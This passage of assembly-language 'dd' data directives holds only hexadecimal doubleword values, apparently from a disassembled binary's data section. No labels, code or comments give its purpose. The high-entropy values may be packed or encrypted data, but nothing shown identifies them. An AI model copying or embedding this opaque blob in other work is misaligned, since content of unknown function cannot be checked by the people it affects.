0E55A001Dh, 56BEBB23h, 0A7075497h dd 6FDFBA8Ah, 81A7FD1h, 8D4039C1h, 5FDC990h, 9E663107h dd 0C025876Bh, 15AE43D5h, 8385D701h, 6290B304h, 0DC5DE880h dd 7FDBAD19h, 0E5759C90h, 0A676E100h, 8D39E7Dh, 0ED850FD1h dd 0B9A197FBh, 0E89C693Ah, 70077437h, 3E98DE48h, 49D0E07Dh dd 68EA5Dh, 905F6104h, 3275860Ch, 8344CC01h, 0BD709EA8h dd 7F02D60h, 50D93FF9h, 0F1E09F89h, 41AB5E26h, 153E9E00h dd 14D56E03h, 0F3B0C5C9h, 1DCC407Eh, 0A9F5D7C8h, 0D0EC5055h dd 6D095B40h, 58172Bh, 330EA5B0h, 64A3300Fh, 0A771A911h dd 78C5D60Bh, 0A42C2324h, 63E1E78Bh, 288E67FFh, 66A0990Dh dd 2E280837h, 0EEDFD500h, 0A78665AAh, 2990A082h, 8EE41D27h dd 48344076h, 0E2FAF9C0h, 80B2593Bh, 0A82E7C6Ah, 30D2100Ah dd 0F55877BCh, 500ED52h, 889E4C0Eh, 32BCE51h, 982436F0h dd 0C8744F40h, 6E103009h, 72E480F5h, 30922D6Ch, 0F1F82FDAh dd 0D7F80F8Fh, 0C07A098h, 0D6CF3A1Fh, 0E0FE39F3h, 496BBF6Ch dd 82008074h, 30E1266Fh, 43009FFAh, 69672CA6h, 7CD8844h dd 5C29DF09h, 0F17FA08Bh, 7300AA0Ch, 23489631h, 681E79h dd 5FEDC937h, 4CFACF98h, 0AD024CB0h, 1171B37Fh, 1BF88553h dd 0E8C45E81h, 73542530h, 85400B78h, 0AA80677Dh, 0ED6AAA0Fh dd 0BFD0E301h, 0A3826124h, 2D5C40FEh, 0EBE83C23h, 3C1311E0h dd 8A009EC0h, 0E7A88659h, 7CEA4819h, 0FAE91825h, 0ABB5292Ch dd 8C0009E2h, 0AA12AB6h, 5854FF7Fh, 720042C3h, 71901C59h dd 0AB00C735h, 5B3AA4B8h, 0E896858h, 91DB6295h, 96CBB220h dd 22F15C16h, 2EAA00E8h, 0B77B145h, 73C10B3Dh, 0B809D11h dd 9ACD0A63h, 0E00D4A30h, 0ED025DBh, 9EB5327h, 0DD34C300h dd 8305E322h, 3829E43Ah, 0E4CC7C0h, 0ED3038F6h, 93755E80h dd 2083F9B5h, 0DC54AD00h, 605A43EAh, 0CC650298h, 5CB54A0Dh dd 590CD0C0h, 88B1D300h, 0AAB7D691h, 0E1981D63h, 1C2B8085h dd 2E479E5Ah, 0BD0F8D00h, 0C338521Bh, 5E2F00AFh, 0FFACBF94h dd 0C005F34h, 131D707Fh, 1DCCEFFDh, 0C5A94E96h, 801A5857h dd 0B8A0F884h, 6112DF09h, 0E4E280DDh, 1D9A2238h, 8153785Eh dd 0E9A3324Ah, 9D442469h, 0F6426000h, 0B5799107h, 1C45E804h dd 804127F8h, 7AEECA1Eh, 8A006FBFh, 2C0B63BEh, 0FB10913h dd 5AAE77D5h, 0FB53EEE0h, 0F3004123h, 95ACC09Bh, 56345h dd 6A43E338h, 32C4EAF5h, 52E87A7Ch, 0BF0724B8h, 4661D9DFh dd 16B91580h, 0E2D814C8h, 0D10D1087h, 0D4A961E0h, 4D3035FCh dd 0B65908EAh, 18DEC7h, 0B54232CCh, 55E8CB77h, 0B2C9C400h dd 4A8B48BDh, 0EDF72CCDh, 320C3C04h, 0F588E215h, 4A18409Ah dd 468040B0h, 1EA800F4h, 414901E8h, 3314C41Dh, 0BEBA3Ah dd 4E387557h, 1C2D6226h, 409EFDE9h, 0ECCBE129h, 0D33CE364h dd 6D32009Bh, 81257A17h dd 0B5D02818h, 0F3580260h, 84E25035h, 99697080h, 7B00B88Dh dd 20A068DCh, 0F1519A9h, 8464F681h, 0DEF1D180h, 0CB00FEB2h dd 0E9F311DAh, 4BDC0Fh, 0FC245A23h, 31B2806Fh, 1FA25101h dd 0ED6E9FFBh, 5E3C20h, 919445B4h, 0C2520888h, 0AD31F900h dd 9A1AF0E3h, 73800E7h, 11F1DBBDh, 1E01B510h, 0A419016Eh dd 79C4F5F4h, 8588002Ch, 0E5A53FA8h, 0E407562Fh, 0FD4B0A3Ah dd 4D1AFF41h, 0F97BFCh, 36AD131Eh, 414CF19Fh, 0D24858h dd 6F6F5FEh, 3FE825F8h, 0C30023B0h, 4EF791Eh, 7E509668h dd 1148E590h, 0AB7B00B0h, 380D5CDEh, 9EEF006Fh, 2D3FFED7h dd 0C004925Bh, 0A4995A3h, 0A79D7090h, 27305FAh, 0C005893Ah dd 48AE1994h, 0C7B5107h, 6B00438h, 5EDB4E8h, 4482CF15h dd 0E6249062h, 2C98AB6Dh, 34880B01h, 46B9F454h, 0ECCCDFEDh dd 521316AEh, 0ACAF0280h, 0CBC26442h, 0D58BBA84h, 50300ACCh dd 7E8738C4h, 20A9DBFAh, 429EEABBh, 29001370h, 0C4DD8A5Bh dd 0B871CED2h, 67D8E799h, 0DCE100B4h, 97B78E39h, 7930599Bh dd 8B0398ADh, 0CBAC0022h, 7DF0B571h, 833F46FBh, 0FFCA801Bh dd 6027102Fh, 5DFAC079h, 74EAE0EEh, 0D4C1912Ch, 662C9300h dd 4935E7h, 4CD5A197h, 2621FACh, 8327443Ch, 0A976194Ah dd 6027FF58h, 37BBECF0h, 3A050038h, 7336F76Bh, 0AD06770Bh dd 0F21FC212h, 0C61700F0h, 0FF82D0D4h, 0F0B6031h, 0C043CCh dd 0A8A07978h, 3F190071h, 0B18E1421h, 543A0CDFh, 0A3FB8E93h dd 0AB31238Bh, 8E45BFECh, 0AAB0C080h, 52D7246Bh, 914293C8h dd 508DE814h, 8070C4D4h, 0A2337900h, 0D31FA5C0h, 0AE761E39h dd 1CBFC35h, 9CEC6588h, 0C142877h, 41CEA8EEh, 6D59074Eh dd 0C0361AF3h, 52A3D757h, 6ECA6200h, 0B7047FCh, 27730C12h dd 0B6E82F33h, 0F2352300h, 7038030Ch, 7868C6BFh, 74EE2185h dd 922E437Ch, 1900EAD1h, 76C49D63h, 85E494ABh, 90480585h dd 1BDD664Ch, 7E9EB900h, 20F15AB8h, 0ECEE0065h, 9DF21CD4h dd 85D66ACh, 0A6BB005Ch, 2521C66Eh, 0B204C109h, 40882EEAh dd 30829AB4h, 0E0E1E200h, 74FFA87Ch, 7A380004h, 0A3DA5914h dd 282803E4h, 0A80BB02Ah, 26A63A2h, 43D2815Fh, 0BC55E058h dd 72A00FDh, 9C03BF0Ch, 0B058E35h, 1A7CBA42h, 0E02274D2h dd 0FC4C5Ah, 5D30FDA8h, 8E87444Dh, 0CA5E1E13h, 0C4916C41h dd 3931F2AAh, 178ADC8h, 0BA759CB0h, 0F01CF3EAh, 3600FB17h dd 9FBD3372h, 3FC4AAECh, 0B80B26Dh, 3D704C01h, 942880h dd 8218003Ah, 0EB5C58BAh, 0FCD5009Dh, 96F8314Ah, 4E610CA5h dd 0B25F1A80h, 1FEC43D5h, 8F5D0967h, 9280409Eh, 7B309DFDh dd 0C510924h, 0BE57A400h, 2AB73307h, 8438FEh, 0EE29268Ch dd 5E491628h, 88B89016h, 0D0829800h, 49508A48h, 0AC00F4CEh dd 3F9CD84h, 993B6D2Ch, 3A0A8060h, 4C4DFCC0h, 0CECB861h dd 30415E6Ah, 840035A0h, 93DF4034h, 3038BDA8h, 0BF91480Fh dd 0A9386C0Bh, 0BC4903B4h, 0FBA6CF07h, 0FA90E812h, 0E66F00EEh dd 0A7A2A51Fh, 0A10E76B1h, 0C181DE85h, 880714E4h, 0F849CC8h dd 31096136h, 6830FB40h, 0D6029575h, 207CB9DAh, 0E9E0C849h dd 46C2007Bh, 84907A35h, 8500896Bh, 222658D4h, 2448F864h dd 18AD36h, 21F5343Ah, 0F2E04104h, 8B5F1F00h, 501B565Ch dd 0AF6E00C3h, 0D9A62CDBh, 200C2E3h, 22B3BDC4h, 0ECC779h dd 8F250555h, 312C6735h, 0D6E90400h, 361288C2h, 0FA076915h dd 0DFC63200h, 30EA756Fh, 11E6C230h, 33E5336h, 5A1DDC35h dd 0FE986CC5h, 0B700FF7Fh, 0E14A54B9h, 12EDEFBh, 41FD9E92h dd 0EC5B11ECh, 0A2056065h, 1323F3C1h, 30E388C0h, 0BD102636h dd 0EA3C8B10h, 0FA7FF0A0h, 125602Dh, 0A294811Eh, 0B4E05D9Ch dd 4CC80FCBh, 65E31D0Dh, 90F07341h, 320003D1h, 0D3A07214h dd 7CF0E770h, 0BA7D009Eh, 43A41CFBh, 0AAF415E5h, 0D4028C92h dd 1056592Eh, 0A3446BB6h, 8DD9B8D1h, 2C0A4826h, 0A7617002h dd 34487269h, 9A072D99h, 94091D7h, 2E07E631h, 0E45730h dd 0F22B5073h, 0B1ED5990h, 4388824h, 8004E3Ah, 0CC791981h dd 0F1456056h, 531BF5FDh, 52788700h, 9E622E94h, 3BD8C0D2h dd 83E2044Dh, 5DF17B03h, 0C8B68F4Ah, 0AF1355h, 0BD7411B0h dd 0D3DC8D6h, 6400DF75h, 0C28C1B4Ch, 1C61EDh, 0E9EE7D52h dd 43EB16Ah, 360AFA1Dh, 0A6D198C0h, 1C6CD096h, 80E09917h dd 0D285E3E5h, 65189459h, 0EC114D11h, 97D8000Dh, 0F33038DBh dd 84F572D3h, 0A8707EE2h, 0B0490490h, 0CAA30020h, 850534CFh dd 950F4FD5h, 0F32C2Bh, 8019A0C2h, 0D3E3A9Bh, 25487000h dd 0C5D88B54h, 0FC4F9000h, 0D512A96Dh, 0A1400A3h, 0D7D2695Fh dd 614CCBF3h, 0EDE00A8h, 1452DCE4h, 0D8A750B2h, 4868986Fh dd 331C103Ch, 527B8029h, 93D14591h, 0CDDB9A00h, 77E44A08h dd 0FA8E00A9h, 5405BF50h, 0E9009873h, 12186EF9h, 90FCCF0Eh dd 7BC60F0Dh, 3F200357h, 4D58FB37h, 0A7CDAD00h, 9F30F2AFh dd 2BA17EDh, 80F41E2Fh, 2EF9C049h, 5C0060B7h, 0A44A480Ch dd 10E411h, 3C79D916h, 431E186Ch, 320EE801h, 35297DC0h dd 25B72980h, 8BFCF437h, 20128701h, 71864108h, 4605D340h dd 5BB300FDh, 0BC4B10C3h, 644974FEh, 3F315860h, 7003DB4Fh dd 93BB885Ah, 0C5FB0FBh, 5C6009Fh, 0AA734559h, 1C50EABDh dd 0C40190B4h, 622F5CEFh, 9064B291h, 0CE770112h, 3E727548h dd 405024C3h, 0C4406D4Ah, 1AE38978h, 7461747Ah, 4047142Ch dd 7214109Ch, 46011C4Fh, 48B91562h, 0D0B3D15Ah, 23547270h dd 4486682Ch, 20E89991h, 1F055900h, 40BB5A58h, 6DB40C88h dd 0AA405FFEh, 0FFA16800h, 8125D016h, 0A0610F39h, 0E4001A69h dd 0FDABCFDFh, 8F42BB25h, 74324668h, 505200B0h, 5ABA16B4h dd 2C1831C2h, 0E819D922h, 72490007h, 53E9C7D0h, 2DE4ECD7h dd 0C8128109h, 44C209D4h, 5AB44088h, 8BC4A81h, 727F4885h dd 42700024h, 0DCE0F59Fh, 4A4D3209h, 586D8045h, 0E22788Ah dd 0E11A7E1Dh, 0F095C263h, 72336EF8h, 0A7FBCB17h, 9D6FC700h dd 81DC74h, 26709BD7h, 8BD08619h, 0A34B9C00h, 0B72CAD6Fh dd 10870F71h, 0AB808C67h, 12863ACBh, 74DFD200h, 4A2B3D6h dd 0A1B900F0h, 5BD9C07Eh, 0CC1FA65Fh, 91C55D4Fh, 0C0FEF856h dd 0CDF73065h, 6E381709h, 0E7DC00A1h, 0A914CEh, 2AF6A683h dd 4509EEB0h, 0E2A1CD00h, 40D14382h, 0DD7A001Fh, 0C35DD944h dd 950F627Bh, 0B7FA5091h, 0A2D4C700h, 0CD4C74h, 55AFBB72h dd 6910655Bh, 100F449h, 1982BA11h, 0C841A97Ah, 898A172h dd 0B2322105h, 0B0448200h, 6B49EDD7h, 0E954006Ah, 0C9C44A04h dd 0E502CE7Eh, 3F68F669h, 83D4AF50h, 6D6BE8Eh, 55442018h dd 163130F9h, 7B4B204Eh, 0C32EA422h, 0FEB80036h, 7EDA63FDh dd 0F26519C0h, 3682AE4h, 2EF055A8h, 20003E14h, 0C6D8D025h dd 0F4867B62h, 4D68C6CAh, 2B0039CEh, 9783CD7Ah, 1430A8Dh dd 7276E507h, 0C492E0E2h, 1B65C574h, 88011890h, 7B86E5BEh dd 257C6881h, 0CCAD82AAh, 1800D03Eh, 2A354C87h, 14C17BF1h dd 0AD6C43FBh, 497F4B03h, 97D04412h, 8DFE613Ch, 0CE179600h dd 4AEB231Eh, 1030FE0h, 6AA03AACh, 75D20EC5h, 141DAF00h dd 3E1915ECh, 442A17DCh, 51620073h, 718EC627h, 7FA2AD00h dd 3BC82916h, 0D99D0014h, 0D7FF8702h, 4C790A6Ah, 788CE200h dd 0ADEFE4F4h, 0B4A60020h dd 0BC089F18h, 0C000CEC5h, 53EBDCA8h, 912F98h, 3C1AAECh dd 2A523D7Dh, 0E1CD1000h, 75669CA3h, 96083F29h, 239A1E80h dd 312F2D94h, 4F2B5Ch, 5246C3CBh, 0C7C6F2h, 0AF157736h dd 8F29D23Eh, 0D6F45Ch, 249D6DB0h, 5C0BA4h, 8744FC61h dd 22E09F03h, 7800B97Bh, 0D4F8C332h, 0F5F686h, 79BE80D2h dd 7E6CF348h, 0A92E900h, 85ED8C03h, 9168303Bh, 0A5C50DD6h dd 917A80Fh, 6C1C0025h, 7EFE8E5h, 811E53B4h, 0D84D3080h dd 6A188803h, 59587731h, 66550B60h, 0C90009D5h, 8D7CF2C3h dd 3FB26200h, 0C1BCF981h, 639B00DDh, 77EB5B67h, 4190BF4h dd 33A0B4B6h, 9C80E7CDh, 8B48F78Dh, 0DF036020h, 3AD12A1Bh dd 612917E0h, 8CFD0025h, 0C685E243h, 804AAB0Eh, 8AA92016h dd 50631268h, 31EC8BBh, 4C31307Dh, 7C983993h, 0FF0C0433h dd 0E8C28437h, 6F0A01BCh, 0ACF803A2h, 0DCBD307Ah, 0DEBBBA04h dd 32C0389Eh, 366D541h, 5F3472E5h, 5098303Ah, 143C04A3h dd 310C05C6h, 0B900F119h, 80F8F6BCh, 0BD651F81h, 0CF024059h dd 25794042h, 860AD800h, 98814F5h, 13D70089h, 8DB91C58h dd 0D500B654h, 33CD3BBEh, 9E772Dh, 903EC536h, 0E76A13E3h dd 0E559EA00h, 55A257B5h, 19700058h, 0ABD05220h, 49185F7h dd 982FE180h, 1D4E2229h, 7F9B117h, 0E06639B4h, 0B281591Eh dd 0FCF3DE0Eh, 0A8F0F9C9h, 68FAFD4h, 0CF4D5753h, 14008016h dd 0C378FCD4h, 4198B0Fh, 371BE2EFh, 0CE1EC7ECh, 5ED6CCC0h dd 0DD60D14Ch, 0E0945724h, 1F9B0760h, 89269785h, 0FE6C6E00h dd 1A50ED86h, 767F77BCh, 8241FF01h, 22E89208h, 1701ECh dd 0F9E06EC2h, 3C0C1DF0h, 73C8AB50h, 6561EA0Fh, 2C005271h dd 0C88C397Bh, 1A5F0019h, 990EA45Dh, 9C6E0AB3h, 18028060h dd 0F1CD268h, 0AEB2789Ah, 0C0371224h, 0C6848F5Bh, 0F95AF217h dd 1587E503h, 0A4CB5Fh, 9C80D018h, 0A82A9B25h, 62FBFC07h dd 9810F3D5h, 24777DABh, 8094F9BFh, 51B7A9FFh, 4300EE4Fh dd 3BD87833h, 1F457DBFh, 275549h, 7A8479EBh, 0E0087FFh dd 0B6BE1DE7h, 0C088E57Fh, 0A1D97170h, 0FF7E6965h, 0C7C2F707h dd 0C962F176h, 0BA6440BCh, 62EA03B6h, 4F346E68h, 0C8877D99h dd 417E110Fh, 0E0285A00h, 14CDC157h, 6E1800FCh, 7240E937h dd 6004709h, 4BC2CC3Ch, 3E58B55h, 0B770B125h, 0C0E5EC2Ch dd 0DAE0CD0Ah, 9750ED00h, 9EC69113h, 730C0092h, 33C4437h dd 0EE004CE9h, 26CB3479h, 2D5B4EDh, 5D659BA3h, 0DBC0DB70h dd 50E586Bh, 8FCEDA0Fh, 0B4F1407Dh, 728785h, 14A127A2h dd 0AF40C8C0h, 74077E04h, 0EF80770Fh, 489312DFh, 2307C624h dd 10C410A5h, 6859B144h, 8E002E98h, 4F2BD0Bh, 0FE8D78h dd 0CC31C480h, 1EAD0E33h, 557987EBh, 0BD802211h, 0E0626Eh dd 0B99B05B0h, 0F99121D6h, 76BB3806h, 0F2F851h, 4B440ECEh dd 0E6EDE4BCh, 826D6105h, 0BC40B639h, 5BF39006h, 0D98600BFh dd 5CCEDB5h, 0EB00404Fh, 7AF26664h, 17116F3h, 1239941Ah dd 0F091E488h, 511DA62Eh, 23807A3Bh, 0A7A820F5h, 954901D6h dd 0A23CF8BEh, 3F3EC0D8h, 2F00C092h, 0DF56D393h, 90C37C69h dd 0D6BD5C30h, 7942FC00h, 0F1B86305h, 4192E200h, 0B17504EBh dd 4749240Fh, 0EF6F04D4h, 0E054876Dh, 841A9C57h, 0BBBEFB00h dd 1D8FD39Bh, 92FF00E2h, 54141E0Bh, 40904DC7h, 9B81CF00h dd 0EB3BA655h, 39A0091h, 97BAFF48h, 940096C4h, 0F3F209D8h dd 26476DD2h, 8EB0AE93h, 51408402h, 0D960DAD5h, 91ED9A14h dd 0A0318498h, 0F897BD00h, 0A6F034DDh, 0D0447E00h, 40D40EB6h dd 0A18F0346h, 0EFC8D1C0h, 412338D0h, 0CC053700h, 17215A62h dd 106D009Ch, 0C39452DFh, 64008E15h, 8B7569A5h, 70F6F898h dd 0E8B81D47h, 0D1A2C017h, 0EB37D2EAh, 7A038C7Dh, 46C80DFBh dd 52D5C0BBh, 0C7180FE3h, 63007DF1h, 3E532DB5h, 0FF8C800h dd 870E8B38h, 1297005Ch, 74B31B25h, 56000209h, 1FD7C548h dd 0F97553h, 0F606ACB0h, 0AB312130h, 0B5EAB278h, 42BBC800h dd 666AA4D6h, 991000E2h, 0DD47E867h, 0B307312Dh, 34943E9Bh dd 51A75467h, 377241C7h, 0C29940E1h, 0B03B24FDh, 0DA4F807Ch dd 6D305371h, 0C0C30103h, 0E81A81FAh, 0FF5FDBh, 0F7E13456h dd 1DA11C11h, 2EB42500h, 7EB5CEDFh, 211700A0h, 0B1FC873Dh dd 8C07B7CDh, 0D0725F8Fh, 3F4E7DD1h, 384B09E8h, 12F8CA16h dd 40DF4D19h, 0EE5DBE48h, 0C0C95FEAh, 891C0093h, 5AA7B2h dd 7849512Dh, 17F284D3h, 970023EAh, 3F411D2Ah, 0EEBDCAh dd 860ECDDh, 29028980h, 0D4C447Bh, 0BF350FE8h, 0F56206D4h dd 89CF4011h, 10A8CC28h, 0AE40320Fh, 0B27AE08Ah, 2610AD06h dd 7D8E93Ch, 809D8898h, 3DBA19C1h, 0FEC48100h, 0CE33C30Fh dd 0D4EF0B37h, 0CCA7F65Dh, 0E034D0BAh, 0F4003ED6h, 61116CE1h dd 0C89706h, 0DF860D8Fh, 0FB333AB4h, 8A5DB300h, 0B147D2C3h dd 10200018h, 0A02C13D6h, 0E470BAB6h, 0F73C640Ah, 0C58094E1h dd 0DB23D7B7h, 49E67Eh, 968D031Eh, 0D9924829h, 3542B800h dd 0BEB9CC8Ch, 1ADC1DF7h, 8B910350h, 0C0F72EE1h, 0C67DBCA2h dd 0B1EA31E6h, 0CF41200h, 968445D9h, 1E350071h, 0DD107D68h dd 50248A13h, 4900483Fh, 89A03886h, 63C4391Fh, 74B81200h dd 0B08F9196h, 0B7D57C07h, 38C0F085h, 1F36F8C3h, 4057DFD6h dd 80907284h, 0A301C1F1h, 3394EC98h, 3F80E32h, 74190112h dd 72917801h, 0D6B8D8CAh, 61C4CD00h, 5C90FB6Ah, 6607007Bh dd 3F48A6ECh, 0AB0F99E1h, 35D1B7h, 0C0150287h, 41E5007Ah dd 0B9C5C6DCh, 6274E813h, 0E112C375h, 1198Eh, 99778CDh dd 62E93081h, 4813D1C1h, 9474DCB0h, 0BFC47A18h, 15DA11h dd 0F3537ECh, 0FF3DE0D7h, 21B008DFh, 0FEC0D7Ch, 7D2CA4F8h dd 0BF4C39CFh, 34081680h, 3C00171h, 0E06F7003h, 0DC927803h dd 0A4ADA369h, 0FF39C800h, 48063219h, 202BBFD6h, 21C36008h dd 2CFF3177h, 0FB099F07h, 29C1F596h, 6880B580h, 68D16121h dd 31C0B7A4h, 0CE986CD7h, 0F2467865h, 0A0713047h, 0A7FA6720h dd 0A637242Ch, 0BE32B200h, 0CE4D27h, 5C2A993Ah, 81FCC476h dd 482FF200h, 0B3225A1Dh, 67C71F88h, 81EC0A0h, 53DF91E5h dd 0D504F000h, 0B8B0AF5Bh, 0B620489h, 80425ADEh, 0F917D292h dd 8F2C4E00h, 6E1EBE4Bh, 0B8A21C93h, 9C4180A7h, 3C54A388h dd 1A69F39h, 0C4A08A63h, 9560F577h, 0AB0005Ch, 42029671h dd 697DF8B4h, 91938D00h, 1844E195h, 2F08000Ch, 0A920D64Ch dd 0A8000B21h, 8A7CA7F5h, 1664FA5h, 0FC8F828Dh, 0D6F01417h dd 1FAEE860h, 10344B1Dh, 45C8C740h, 247F2924h, 7A93ABh dd 0A83E285Bh, 0B505BB83h, 854CEA3Bh, 27D3DB80h, 35570724h dd 0A1D73C39h, 0FC65FA01h, 68009F6Ah, 0EA30F219h, 277974h dd 0BB5E3C4Ah, 6FE46E81h, 677EBA00h, 0D5215C0Fh, 0A8C500D2h dd 72C74F6Ah, 8C90A1F8h, 0CA9FE000h, 7CB43EAEh, 79E00C8h dd 9A9B5F0Ah, 0EA07F23Ah, 490967A8h, 0D41E6120h, 0E4AB004Ch dd 0F6C8FC0Fh, 7CF21118h, 30372807h, 66F7E1F5h, 78394BF0h dd 0AECE003Bh, 36E80E87h, 0AF1F6E91h, 0B54094D1h, 930631E2h dd 0A7871F1Ch, 2B3580B4h, 0C84D9B18h, 24123Eh, 169FAE38h dd 0E8F804h, 430E1348h, 5AD05C72h, 0C9F2FD00h, 89221B50h dd 901C52A5h, 0BF42B100h, 3B563884h, 0B6572100h, 3FFC47D8h dd 0D0940024h, 6E35E9A4h dd 0E6026723h, 518F9ACh, 0EACEE03Bh, 0A0A4A33Dh, 0BCC50Ch dd 7C0870EDh, 0B312627Ah, 9704F60h, 0F56B701h, 520B5593h dd 178B51AFh, 8E900488h, 9FC08767h, 3F422A7Bh, 61F89203h dd 0D8EB280Bh, 77900Dh, 2B1A3412h, 355E0410h, 85986200h dd 23D3D5A9h, 929024h, 0D0EEA681h, 0B3F04D22h, 0D8F40455h dd 0F400B202h, 0D4BA23EDh, 0FD5CA79Ch, 0ECBC6180h, 41E16B61h dd 0E6F13Eh, 6ABEFF25h, 4627DC5h, 648D008h, 2AE5C24Ah dd 4659C080h, 0FE1C8004h, 0A0031514h, 0D9A7BB72h, 95D45F2Ah dd 0A9E3F45h, 404E421Ch, 0E1AE1A02h, 0DC01BD23h, 0E544E014h dd 0C84093B2h, 1EB07F4Fh, 35E2046h, 0BCFBEE76h, 0D8F7D7h dd 627EB702h, 0F89CA407h, 0D99DADFAh, 38BAF3F4h, 9D1C3BDCh dd 0E055151Ch, 6C8A0D00h, 0C8C4E7F8h, 0E300877Ah, 907829EEh dd 0DC98Dh, 0E2CFD0C3h, 20F745Ch, 2288D961h, 7BF868EFh dd 660C0B60h, 2100441Fh, 1851B9C0h, 2F643Ah, 138F0159h dd 0D8C763h, 0BDF58E96h, 0CFAFA8A6h, 205F111Dh, 7D04D1C0h dd 709792h, 0F52B4BC9h, 2955164Ch, 9AABBCA0h, 6E373Ch dd 0F29C6713h, 1D9B199h, 6B75C7CAh, 41F9852Eh, 10237494h dd 3AF1B0C1h, 7F80D4A3h, 7356A4CEh, 0C6EE5F8Eh, 0A60069F8h dd 0B17490C9h, 3C9238E1h, 68869AF1h, 78177B11h, 22217D00h dd 0C70A935Bh, 41E400A1h, 1481EAF5h, 7400ECFEh, 0D7B9BB75h dd 0E8F038h, 906BD91Bh, 2EF49DF6h, 507CE600h, 53B28809h dd 0DEC80F95h, 0F0FCA9Ah, 8FA36041h, 6CEA20B7h, 91EDF500h dd 0E96E5CDAh, 7D3C1FD2h, 0D4B4809Fh, 0DD5AFA2h, 3D59DC58h dd 2E46CC88h, 83009584h, 0B0C89F6Ch, 0E5FA0EA9h, 3E2EC509h dd 0D8B4B680h, 4A002CA1h, 1A9843FBh, 877164h, 1456DB84h dd 4B95034Eh, 7BE648h, 0DDF50FEAh, 0F4223F5Dh, 0FC4AE21Ah dd 0D510057h, 28F97303h, 9A010E09h, 0FD3AAD6h, 0A5F08C39h dd 0BEB6007Eh, 75E21CE0h, 8407BCA3h, 0C3CDC54Bh, 48D6404Eh dd 0A80BB7CAh, 9177D0h, 5434C9Ch, 3C7F51FDh, 0FA1C0674h dd 0A10031D5h, 33309554h, 8E683D09h, 763B3581h, 8046856Eh dd 6A3A8DE0h, 69E3CCh, 33B938B8h, 89551BF8h, 0F63D7703h dd 169B57A9h, 9E9121h, 51BF8B3Bh, 0FBFC222Ah, 0DD473C04h dd 2CC3FE5Eh, 8B581FD2h, 4EE80138h, 0ECB5D832h, 0F330A7BFh dd 6FBE2135h, 0EAE21E69h, 67648E91h, 60A0E489h, 0EF3A1A83h dd 0E3A1A900h, 6E09522Ch, 92F77B0Bh, 0BB158C4h, 11FC6A18h dd 8E3A8968h, 27F4446h, 9BC0CB55h, 0B0FE28BCh, 1554C500h dd 13B0E241h, 98EDEBh, 6657762Ch, 7892F5AEh, 0BCA44500h dd 14185925h, 9E681E58h, 1162CCDBh, 51007030h, 8D4711Bh dd 18EEABDh, 17742ABCh, 0C4A03809h, 0CC00C326h, 51EE4BE9h dd 83DD3Eh, 0A9C93C56h, 0E626C770h, 22356F03h, 0DE48721Ch dd 9DA70011h, 4A54C6F6h, 3A00F111h, 167DC45Dh, 78AF899h dd 0B585A562h, 2F9E0AAh, 27076013h, 253A3C7Bh, 7D79A3h dd 3DDABF48h, 20809502h, 587B8603h, 0D1F7126Bh, 47DC6C5Ch dd 0E798Bh, 4178C07Dh, 0ED1C0CCAh, 37893E00h, 74C64D50h dd 0FD350033h, 10C84F4Bh, 75007622h, 48577034h, 0B1641Fh dd 68741EBBh, 4C133547h, 3C80DE2Ch, 387E1100h, 780C52h dd 0ACB9C734h, 2BFD44D5h, 177255FEh, 3E5F2626h, 97622903h dd 793AF8CAh, 4E03C89h, 0C8695700h, 0AB5E2BC5h, 0E990CD00h dd 2A0C0532h, 1A620020h, 0F5AAEC39h, 0DE007A44h, 6E3C8F2Bh dd 311ED40h, 617DB320h, 3BC0219Fh, 231D844Ch, 0F5803C57h dd 85AB29E9h, 1A320079h, 0D9A231E0h, 35008F68h, 0E1BC5D91h dd 0C0DD3C87h, 0A6BFDF19h, 603992B5h, 77860037h, 0C72E9F50h dd 9C7400FEh, 0EC038289h, 0AC26041Ah, 4381EC88h, 0BE45E46h dd 8B5BC0h, 2C7DA164h, 0D0114540h, 37EBA200h, 0C8909F76h dd 36F0011Bh, 0D5A8C020h, 0E3698741h, 5E7ED02h, 439108B0h dd 1B27B0ABh, 689BDD27h, 0F1C065C3h, 26392BACh, 9644980h dd 20A923A3h, 46322CA8h, 82E67D5h, 12C1DFA1h, 0F05A308Ah dd 435D6906h, 0ECE0354h, 14622E8Dh, 2863A918h, 9FDA7C1Dh dd 0DE8D0052h, 0E7045158h, 0F7784700h, 644F54AAh, 2A110CD6h dd 0D96830D7h, 27AE2E0Ah, 883888Dh, 3CA94365h, 7D3AEBC0h dd 4DA6E80Fh, 9A46A440h, 79008A9Eh, 5C89AEF2h, 0EA5D47h dd 4EAA398Dh, 6D8534E7h, 0C5BC8700h, 0BB235B59h, 0B0FE2Fh dd 4E9C6EBFh, 483772D7h, 4609B800h, 993FB5A8h, 11E00059h dd 84F1CA3Dh, 0DE00CBABh, 0E46EED4Fh, 398D3C7h, 2A69B5B4h dd 0B7A8E7D0h, 9C0006EEh, 771DFD29h, 580A9Dh, 82B1F42Eh dd 4FF89BD2h, 0B8865101h, 0F602CD52h, 0C0B74BF8h, 0B31C1F9Ah dd 950226A6h, 3E2DE823h, 27B0A728h, 0BD373D00h, 19CF016Bh dd 6660184Fh, 0F9EFD4E0h, 83BB7000h, 3AE1E5CDh, 0B1540053h dd 62E9A0CEh, 7C038B63h, 0C13F6C9h, 9315D8F8h, 8EE4E7h dd 34FF55B8h, 3E77FA20h, 69B5E00h, 43FF4E3h, 63E4CAh, 81A54D14h dd 578CE178h, 8D00CCB0h, 85875B17h, 0DBD635h, 2B38FADAh dd 324620E4h, 8A407400h, 60D192F9h, 39736719h, 433CF075h dd 0E8EFDE0Eh, 26EC2821h, 6E316509h, 744380E5h, 0FC30D055h dd 3EA00F1h, 0C46BE06Ah, 0C300657Ch, 0AE289C96h, 9D6E7Dh dd 0FF7F9480h, 26CD74E1h, 47EDE900h, 0EFE27936h, 5F04011Bh dd 0AD768089h, 6EAFE492h, 0D1A30600h, 0BCD91F1Ah, 4CF005h dd 0DCA48F3Fh, 0A3B7735Fh, 5917E100h, 1A35CE46h, 41B30013h dd 1853BBC2h, 0F9009168h, 98F50C33h, 162079B5h, 79F14E2h dd 7031C020h, 0AD33DC25h, 0F64EE500h, 200982EFh, 125A0004h dd 0D5F9976Eh, 0F0338A4h, 2250BD07h, 0F828BB87h, 1E00C7Eh dd 64E5CFD7h, 0E8AD0436h, 0E7165B1h, 0F0913016h, 0DE8A2840h dd 4F30AD1h, 0F10F74DAh, 1F98901Eh, 833CA91Ah, 28550667h dd 1F6011C9h, 5B507DC7h, 0F6A0114Ch, 4B00A8D2h, 51D5F32Dh dd 2B6F3Fh, 9A79293Bh, 0D419ACBEh, 0E0FB9314h, 133100E0h dd 0BCD3A6BDh, 0E9AE307Eh, 844776CEh, 0EDF2380Eh, 